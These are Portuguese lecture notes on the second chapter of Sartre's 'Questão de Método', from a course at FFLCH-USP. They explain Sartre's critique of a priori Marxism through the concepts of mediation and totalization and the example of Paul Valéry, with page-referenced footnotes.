Anotações de aula do curso sobre Sartre ministrado pelo professor dr. Franklin Leopoldo e Silva na FFLCH-USP
Material Enviado por José de Medeiros Machado Jr.
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[SARTRE, J-P –
Questão de Método – Segundo capítulo]
A verdade
metódica do marxismo, ou o seu modo de verificar a realidade para
atingir a compreensão de sua produção histórica, é algo que precisa ser reposto
no seu caráter regulador e heurístico, para afastar os obstáculos do dogmatismo
e da abstração. Trata-se talvez menos de discordar dos marxistas do que de
fazer com que eles entrem em acordo com eles mesmos, isto é, com o potencial e
o alcance do materialismo histórico. Neste sentido o método deve ser posto em
questão para ensejar uma reflexão crítica acerca da racionalidade materialista
e seus procedimentos implícitos. Com isto é possível que se desfaça pelo menos
um equívoco: a confusão entre os procedimentos que se valem de conceitos
heurísticos e reguladores, e uma tábua categorial fixa universalmente aplicável
a partir de sua forma. Vejamos alguns exemplos de verdades metódicas que o
marxismo traz em si, mas que ele precisa no entanto reconhecer como meios de
construir a relação entre o movimento da realidade e o movimento de idéias.
1 – “O marxismo
forma hoje, de fato, o único sistema de coordenadas que permite situar e
definir um pensamento em qualquer domínio que seja, da economia política à
física, da história à moral.” (Garaudy) Sartre acrescenta: “estamos de acordo
com ele. E o estaríamos da mesma maneira se ele tivesse estendido sua afirmação
– mas não era seu tema – às ações dos indivíduos e das massas, às obras, ao
modo de vida, de trabalho, aos sentimentos, à evolução particular de uma instituição
ou de um caráter.”
2 – “Não é, pois
– como querem acreditar alguns por mera comodidade – um efeito automático da
situação econômica, são ao contrário, os homens, eles próprios, que fazem a
história; mas o fazem em um meio dado que os condiciona, sobre a base de
condições reais anteriores, entre as quais as econômicas (…)” (Engels)
3 – “O modo de
produção da vida material domina em geral o desenvolvimento da vida social,
política e intelectual.” (Marx)[1]
Uma
vez aceitas tais afirmações como parâmetros de compreensão materialista da
realidade histórica, resta construir o conhecimento concreto. Isto significa
que o teor verdadeiro destas direções metódicas implica que elas se constituem
como meios para o conhecimento de verdades concretas e não que elas são
verdades concretas. Isto que parece óbvio, porque aparentemente se trata da
relação entre meios e fins, mostra-se no entanto muito complexo. O movimento
histórico ocorre através de um processo de relacionamento constante entre todos
os elementos que compõem a realidade. As relações históricas ocorrem em vários
níveis porque tudo que é real é histórico ou possui significado histórico. Os
níveis de realidade se organizam desde a particularidade mais concreta,
individual e singular até os patamares mais gerais e universais de relações que
consigamos alcançar. O movimento da realidade histórica inclui todos os níveis
de relações, e a passagem de um a outro somente conservará a verdade do
movimento se preservar a carga de especificidade concreta de cada um. A
consideração da realidade como práxis histórica supõe que se leve em conta
todos os momentos envolvidos na produção desta realidade. Esta produção é um
engendramento do real que depende da ação humana e das condições objetivas em
que ela acontece. Quando se trata de uma realidade conflituosa, a percepção de
cada momento concreto é essencial para que as relações progressivamente
estabelecidas permaneçam reais, isto é, lastreadas pelo concreto, por
mais gerais que venham a se tornar. Caso contrário o conhecimento se desvincula
de sua base prática e se faz abstrato. Tomar todos os momentos compreendidos na
especificidade de cada um é proceder a uma totalização que jamais abandona o
movimento da realidade que se trata de conhecer, e não ignora qualquer de seus
níveis de constituição histórica. Em suma, as verdades metódicas devem ser
entendidas como condições reguladoras para o estabelecimento, o mais completo
possível, das mediações.
Esta
é a preocupação fundamental de Sartre: a totalização somente resulta em
conhecimento concreto da realidade histórica se cumprir a exigência das
mediações. É preciso então, mesmo correndo o risco da redundância, insistir no
significado de mediação.
Dissemos que o
movimento da realidade é um processo que ocorre por via de relações pelas quais
a história se vai constituindo. Observemos desde já que o caráter objetivo
destas relações não deriva de que o conhecimento as estabelece, mas sim do
conhecimento de como elas se estabelecem no movimento real da história. Assim, o
conhecimento deve acompanhar o engendramento do real nos diversos níveis de
múltiplas relações, porque cada um dos momentos é meio para que o
seguinte venha a ser. Mas como não se trata de vínculo causal linear e direto,
a passagem de um momento a outro é ao mesmo tempo a produção da diferença, cujo
esquema básico foi estabelecido por Hegel como o trabalho do negativo,
isto é, o engendramento dialético do movimento histórico, pelo qual o momento
seguinte surge muito mais a partir da negação do anterior do que da afirmação
causal do primeiro. Cada momento é pois meio não apenas no sentido de elo
transmissor do movimento, mas graças à atividade que lhe é peculiar, atividade
que provoca a sua própria supressão, ou a sua superação que é ao mesmo tempo a
sua conservação, integrado no momento posterior. É esta identificação entre
meio e ação pela qual algo se faz meio para que outra coisa venha a surgir que
se designa como mediação – a ação média ou o meio agente que é o motor
de transformação, isto é, de mudança das formas de experiência histórica, que
são decisivas para a compreensão do movimento do fazer histórico.
Como
cada momento é sempre ação de produzir outro momento, conhecer o
movimento consiste em apreender cada um na sua especificidade produtora, caso contrário
perdemos o caráter concreto desta produção. A relação que um momento mantém
com outro é sempre de ação, mesmo que esta ação seja reiteração. O problema
está portanto em entender as ações mediadoras pelas quais a história acontece.
Para Sartre isto significa compreender as relações a partir do nível da
singularidade, pois é nele que ocorre a experiência histórica concreta, sob
condições que a ultrapassam. Não se pode portanto, separar a experiência
singular da sua superação no contexto das condições objetivas, pois a
experiência concreta da ação histórica já é a experiência de como a história
supera esta ação. Pois é na efetuação concreta do fazer histórico que tal
superação acontece. Quando Marx e Engels estabelecem a relação entre a
atividade dos sujeitos históricos e as condições da ação, o que estão dizendo é
que qualquer diferença que se faça entre a ação e suas condições
obrigatoriamente supõe, de modo inseparável, o sujeito agindo e as
circunstâncias sob as quais age, e que fazem com que sua ação lhe escape. Caso
contrário haveria, entre a ação e as condições de seu contexto, uma
determinação causal linear e não uma relação dialética. Por isso não há como
desprezar a ação particular e a singularidade de quem age.
Como
a ação escapa ao sujeito agente, a mediação ocorre também na inseparabilidade
entre a ação e o momento histórico em que ela se dá: o engendramento da
história se faz assim por via de ações mediadoras que se referem tanto à
singularidade da ação quanto ao momento histórico em que ela ocorre, isto é, a
situação a partir da qual o sujeito compreende o presente e visa o futuro. Sem
esse cuidado com a consideração das mediações, as condições metódicas podem se
transformar em “verdades concretas”, caso em que os meios de conhecimento não
se distinguem mais da finalidade. “È que consideramos as afirmações de Engels
e de Garaudy princípios diretores, indicações de tarefas, problemas e não
verdades concretas; é que elas nos parecem insuficientemente determinadas e,
como tais, susceptíveis de numerosas interpretações: numa palavra, é que elas
nos aparecem como idéias reguladoras.”[2]
Por que estas condições metódicas, em si verdadeiras, comportam o risco do
idealismo e mesmo da fetichização?
1– A afirmação de Garaudy acerca da definição de “um pensamento em
qualquer domínio” como correspondente à maneira de situá-lo é uma indicação
vaga exatamente porque não nos informa como passamos, por via das mediações, do
conhecimento geral à compreensão situada. Quais são os elementos que devem ser considerados
para que possamos estabelecer o sentido de uma ação singular como inserção do
sujeito na situação vivida, o mais das vezes contraditoriamente?
2 – Como a “compreensão possível” deve articular a relação entre o
sujeito agente e as condições da ação, de que fala Engels, e também articular a
pluralidade das condições para estabelecer o fio condutor do conhecimento? Que
agimos sob condições e que nossa ação nos escapa não são afirmações difíceis de
aceitar; o problema é compreender de modo concreto o peso relativo da ação e
das condições, bem como a posição relativa das diversas condições (por ex., o
prevalecimento da condição econômica).
3 – Como a dimensão social, a política e a intelectual, além de outras,
devem ser compreendidas a partir de uma razão materialista e dialética? Como se
dá a dominância da vida material, numa determinada experiência histórica de sua
produção, sobre os demais aspectos?
O
marxismo corre o risco de transformar estas questões em conclusões, e portanto
iniciar o conhecimento histórico já de posse dos resultados que deveria obter.
Os exemplos que Sartre fornece no início do capítulo 2 de Questão de Método
procuram mostrar esta confusão. Ela deriva principalmente, como já se havia
visto, da identificação de procedimentos heurísticos com idéias constitutivas.
Classe, interesse de classe, antagonismos, objetivos, burguesia, pequena
burguesia, campesinato, conflitos, etc., deveriam ser entendidos como elementos
de elucidação concreta de uma dada situação, e não como categorias que, uma vez
postas em relação, produzem por si próprias conhecimento. Dessa maneira, a
história se torna uma relação de forças desvinculadas dos indivíduos que as
vivem e as encarnam. Não se trata de afirmar que os indivíduos, pela liberdade
de agir, superam as forças das condições e das circunstâncias. É preciso
considerar a relação dialética presente em cada momento histórico, e portanto o
modo como o indivíduo reage a estas forças, pela interpretação da situação e
pelo modo de agir decorrente. Se não considerarmos este nível singular de
mediação, não compreenderemos a relação entre as ações concretas e o movimento
histórico, e a tendência será então traduzir a relação num determinismo linear
entre a universalidade e a singularidade. Nesse caso, os conceitos perdem de
vista a experiência que deveriam esclarecer e que se refere sempre a episódios
históricos concretos. Se há um sentido geral, ele só pode surgir do embate
contingente entre os indivíduos e os fatos, na forma da dupla efetividade da
realidade e da subjetividade. O conhecimento da prática efetiva nem sempre irá
corroborar um saber antecipado acerca do interesse de classe, do antagonismo e
dos objetivos perseguidos. O saber não está previamente constituído nas
condições metódicas.
“É preciso simplesmente rejeitar o apriorismo: unicamente o exame sem
preconceitos do objeto histórico poderá, em cada caso, determinar se a ação ou
a obra reflete os móveis superestruturais de grupos ou de indivíduos formados
por certos condicionamentos de base ou se só se pode explicá-los referindo-se
imediatamente às contradições econômicas e aos conflitos de interesses
materiais.”[3]
Situar, preceito metódico indispensável para a análise de situação, pode
vir a tornar-se de fato a aplicação de um esquema, precisamente aquele
formado pela rede conceitual a priori das condições de conhecimento. Esta rede
assegura a universalidade, sem dúvida; mas quando a utilizo simplesmente para
capturar o objeto concreto, sua singularidade se dissolve na generalidade
esquemática, porque o quadro conceitual que absorve aquele objeto poderia
fazê-lo com qualquer outro. Tal homogeneidade forçada somente triunfa como
conhecimento se o ponto de partida e o ponto de chegada forem as condições de
inteligibilidade da experiência: a passagem pelo objeto particular, isto é,
pela própria experiência, reduz-se apenas à designação de um exemplo, dentre
muitos outros possíveis, de determinação geral. Tomemos, o caso de Paul Valéry,
hipótese de Sartre. Para compreendê-lo, podemos remeter o indivíduo ao grupo de
que se origina, a pequena burguesia; estudaremos suas contradições, seus
interesses e as condições materiais dos conflitos em que está envolvido;
definiremos assim este grupo perante a sua classe e perante outros grupos, e
deduziremos daí uma atitude social típica, que aplicaremos a Valéry. Ora, isto
não constitui um conhecimento compreensivo, pela simples razão de que tais
procedimentos não nos fizeram ir mais longe do que o estabelecimento, ou a
reiteração, das condições gerais de conhecimento. Falta a passagem à
singularidade, mas esta se torna impossível se o ponto de partida já não tiver
sido também o singular. Por isso Sartre diz que neste caso temos um “esqueleto
de universalidade” que é a “verdade em seu nível de abstração”.[4]
Podemos até falar aqui em uma dupla abstração: as condições de conhecimento
consideradas em si mesmas redundam em generalidade abstrata; e o objeto
singular que nelas é dissolvido torna-se a particularidade abstrata.
É importante assinalar que as condições de conceitualização ou de
universalidade devem ser consideradas verdades, do ponto de vista metódico;
mas como se trata de conhecer um objeto singular e não uma categoria universal,
o método é parte integrante da produção de uma verdade que somente será
encontrada numa relação dialética entre as condições de conhecimento e a
consideração da singularidade do objeto. Se não, Valéry e sua obra serão
diretamente explicados pela relação de subordinação entre o esquema conceitual
e o objeto particular. Chama-se a isso determinar. Ora, em que sentido
devemos entender aqui a determinação? Não no sentido realista, que é o
conhecimento do particular na sua particularidade, mas no sentido lógico ou
ideal de subsumir, isto é, de trazer o particular para o nível de generalidade
onde já possuo uma explicação para ele na medida em que esta já está
pressuposta nas condições gerais de subsunção, para usar um termo kantiano. É
neste sentido que Sartre conclui a análise do exemplo dizendo que Valéry
“evaporou-se”, pois a única coisa que se pode concluir da análise é uma
vinculação geral entre as condições materiais da pequena burguesia e o
idealismo no qual ela expressa suas contradições. O que, aliás. é verdadeiro: o
idealismo é o meio de expressão do grupo a que pertence Valéry; é ao mesmo
tempo a sua afirmação e a sua defesa perante os outros grupos com os quais está
em conflito. Mas se queremos conhecer concretamente o poeta Valéry não basta
considera-lo como uma manifestação do idealismo pequeno burguês; temos de
compreender o duplo processo pelo qual ele produziu o seu idealismo ao
mesmo tempo em que o idealismo de sua classe o produzia. Temos de
compreendê-lo como sujeito ativo, que elabora ou reelabora o modo de expressão
idealista do mundo; esse modo de pensar e de exprimir que foi arma de ataque
quando a burguesia era classe ascendente e que se torna arma de defesa quando
ela se torna classe dominante. Isto significa que o caráter conservador do
idealismo é ele mesmo um produto histórico e não uma forma lógica.
Analogamente, o idealismo em Valéry não é simplesmente a forma de expressão
burguesa manifestando-se num indivíduo; é uma produção singular pela qual
Valéry reinventa singularmente as aspirações de sua classe. Em suma, as
condições particulares que somente podem ser encontradas no sujeito particular
são mediações indispensáveis para que possamos apreender realmente a
inserção histórica do indivíduo e o seu modo singular de expressar a
universalidade. A verdade de Valéry é a totalização sintética dos
condicionamentos de classe e da experiência singular pela qual o indivíduo as
viveu. Totalização que só pode ser atingida se o conhecimento for o resultado
da aplicação heurística dos conceitos gerais à compreensão do trabalho singular
de historialização do sujeito. Porque Valéry se faz histórico como Valéry e não
como qualquer outro indivíduo. “Valéry é um intelectual pequeno-burguês; quanto
a isto não há dúvida. Mas nem todo intelectual pequeno-burguês é Valéry. A
insuficiência heurística do marxismo contemporâneo revela-se nestas duas
frases.”[5]
Assim Sartre pretende recuperar o realismo imanente ao materialismo
histórico pelo estabelecimento de relações mediadas entre o geral e o
particular. Para isso é necessário explorar em todo o seu alcance e
profundidade a noção de situação. Situar não é apenas relacionar o
universal abstrato com o particular abstrato: dizer que o intelectual
pequeno-burguês é idealista porque sua classe é idealista é quase uma
tautologia, ou pelo menos é algo que já sabemos antes de conhecer qualquer intelectual
pequeno-burguês. Relacionar duas instâncias abstratas pode levar a uma
causalidade lógica, mas não mostra como a subjetividade engendra sua
singularidade a partir de condições gerais de modo mais complexo do que uma
causalidade linear. “Este método não nos satisfaz: ele é a priori; não tira os
seus conceitos da experiência – ou, pelo menos, não da experiência nova que ele
procura decifrar -, ele já os tem formados, já está certo de sua verdade,
emprestar-lhes-á o papel de esquemas constitutivos: seu único objetivo é fazer
entrar os acontecimentos, as pessoas ou os atos considerados em moldes
pré-fabricados.”[6]
É preciso ainda apontar a incongruência deste apriorismo na
sobreposição da causalidade final à causalidade eficiente. Se a consciência individual,
a ação e outras instâncias do particular são apenas reflexos das condições
gerais que as determinam, então estas atuam à maneira de causas eficientes,
produzindo imediatamente o efeito. Ao mesmo tempo, no entanto, como os efeitos
são considerados conseqüências necessárias, eles devem estar de algum modo
presentes nas causas não apenas como desdobramento produtivo mas também como
finalidade implicada no desenvolvimento das causas. Pois a causa não age tanto
no plano imanente da relação eficaz ou mecânica quanto na dimensão finalística
do efeito a ser necessariamente produzido. É neste sentido que a totalidade
pode ser dada a priori: os fins devem estar contidos no movimento inicial para
que haja determinação completa. Dessa maneira joga-se com dois sentidos de
determinação causal: a produção eficiente entendida como relação mecânica; e a
necessidade do efeito a partir de uma ordem finalista.
Este procedimento apresenta pelo menos dois problemas. O primeiro
deles consiste na dificuldade de se explicar como a finalidade pode estar
contida na ação inicial e no encadeamento das ações posteriores já que é
precisamente neste processo que as ações escapam aos agentes. Há que se supor
uma força que encaminha o processo para o desfecho necessário, quaisquer que
sejam as ações. Mas então como se pode dizer que os homens fazem a
história? O segundo problema consiste em supor que há uma relação entre
condições iniciais e conseqüências finais concebida de forma direta e como
desdobramento finalístico, o que torna supérfluo a consideração das mediações,
já que afinal se pode totalizar sem elas, considerando-se a determinação apenas
como relação formal entre causas e conseqüências, e esquecendo-se que há neste
caso um movimento histórico que passa pela desordem e pela contradição dos
projetos humanos. Em vez da produção histórica pela ação diferenciada – e até o
ponto da contradição – temos a assimilação do resultado à ação inicial, como
num esquema antecedente/conseqüente. Ora, isto implica uma visão absoluta do processo
histórico, a temporalidade desdobrada diante de um sujeito onisciente, a
anulação da contingência, enfim, “o movimento perpétuo em direção à
identificação.”[7]
Se a expressão idealista do mundo, própria da burguesia, é uma em 1930 e outra
em 1950, não importa: trata-se da expressão burguesa do mundo. Se ocorre neste
romancista, naquele poeta ou naquele filósofo, também não importa. As
diferenças têm que ser absorvidas pelas condições gerais. Não será este
procedimento uma conservação da hierarquia característica do racionalismo
tradicional, segundo o qual o particular concreto somente encontra seu sentido
nas condições gerais de totalização formal? Ora, Sartre cita uma carta de Marx
a Lassalle, em que a pesquisa é definida como movimento que “se eleva do
abstrato ao concreto”, isto é, em que a totalização respeita os elementos da
situação concreta.[8]
Isto significa que o conhecimento ganha amplitude compreensiva (“se eleva”)
quando o abstrato for, quando muito, ponto de partida. Assim ao estudar a população
inglesa em meados do XIX, Marx parte da “população” como referência geral de
um objeto ainda abstrato. Terá de considerar as classes que a formam, as
relações de trabalho, etc., para que a visão de conjunto ganhe articulação e
pertinência e não permaneça como representação geral.
Nem por isso caímos no nominalismo; as representações gerais são os
elementos condicionantes da situação e, por isso, o movimento histórico pode
ser conhecido também através de estruturas gerais. O marxismo fornece uma armação
conceitual para compreender estas estruturas: forças produtivas, relações de
produção, capital, trabalho assalariado, mais-valia, etc. Tudo isso forma uma
generalidade que comporta abstratamente o que há para saber. O
conhecimento “consiste em esclarecer as estruturas mais profundas pela
originalidade do fato considerado, para poder determinar em compensação esta
originalidade pelas estruturas fundamentais. Há um duplo movimento.”[9]
Novamente Sartre insiste na relação dialética entre universalidade e
singularidade, aqui nomeadas como estruturas e fatos. O fato se conhece pela
estrutura e a estrutura pelo fato. Do ponto de vista analítico seria uma
circularidade, e seria ainda um círculo vicioso, porque romperia a ordem
hierárquica entre geral e particular. Mas se abandonamos a simples relação de
subordinação lógica e consideramos as articulações reais, nada nos impede de
compreender que a estrutura modifica o fato assim como o fato modifica a
estrutura. Assim a burguesia comprometida com o movimento histórico do qual
resultou a Revolução é também a burguesia que deseja frear o movimento
histórico. Para compreendermos esta dualidade, temos que entender as relações
entre ações e situação em cada caso, a ação revolucionária e a ação
contra-revolucionária a partir das condições históricas (materiais, econômicas)
que levam o indivíduo a modificar o seu contexto ao mesmo tempo em que é
modificado por ele. O burguês revolucionário naturalmente não se reconhece como
também contra-revolucionário, ele não quer deliberadamente parar a história,
ele quer que uma determinada institucionalização política da Revolução a
consolide e o consolide – e à sua classe – no poder, e neste sentido ele quer
parar a história no mesmo momento em que pretende realizá-la. Ele está situado
numa estrutura mais ampla que somente será elemento de explicação se
compreendermos também como ele se situa neste contexto. Se o indivíduo
faz a história, ele não pode ser instrumento passivo, nem da história e nem de
sua classe. É neste sentido que Sartre critica Guérin quando este procura
explicar certos episódios da Revolução, as controvérsias e os resultados, em
termos de “operação da burguesia”, fazendo da noção um ente e caindo
assim na confusão entre condições de inteligibilidade e fatos reais.
Esse propósito contínuo de evitar a singularidade talvez possa ser
explicado por uma estranha inversão: como a estrutura condicionante é
histórica, isto é, prática, somos levados a ver nela o elemento concreto de
explicação e a diluir na generalidade da condição o singular, que em si mesmo
nos aparece como abstrato, já que o seu sentido está a princípio nas relações
que o definem no interior do contexto. Mas esta visão não está de acordo com a
produção histórica. É verdade que o indivíduo isolado na sua particularidade
torna-se abstrato. Mas tal abstração não é a única maneira de considera-lo.
Pois a sua singularidade é intrínseca ao processo histórico no qual ele se faz
indivíduo singular, e a sua individualidade é histórica e concretamente
produzida, ao mesmo tempo por ele e pelas condições de sua inserção na
situação. Este duplo movimento produz sua diferença e o torna concreto. Por
isto Valéry é idealista subjetivo à sua maneira, que é diferente de outro
intelectual pequeno-burguês. Se esta relação ativa do indivíduo com a história,
com a sua classe e com os demais não for considerada, se nos fixarmos numa
visão unilateral de história, de classe, etc. corremos o risco de tornar a
própria prática uma estrutura abstrata, ou um determinante lógico-causal.
[1]
SARTRTE, J-P. Questão de Método. Ed. Cit., pg. 124 e 126.
[2]
Idem, ibidem, pg. 127.
[3]
Idem, ibidem, pg. 130.
[4]
Idem, ibidem, pg. 135.
[5]
Idem, ibidem, pg. 136.
[6]
Idem, ibidem, pg. 128.
[7]
Idem, ibidem, pg. 133, grifos do autor.
[8]
Idem, ibidem, pg. 133.
[9]
Idem, ibidem, pg. 133.
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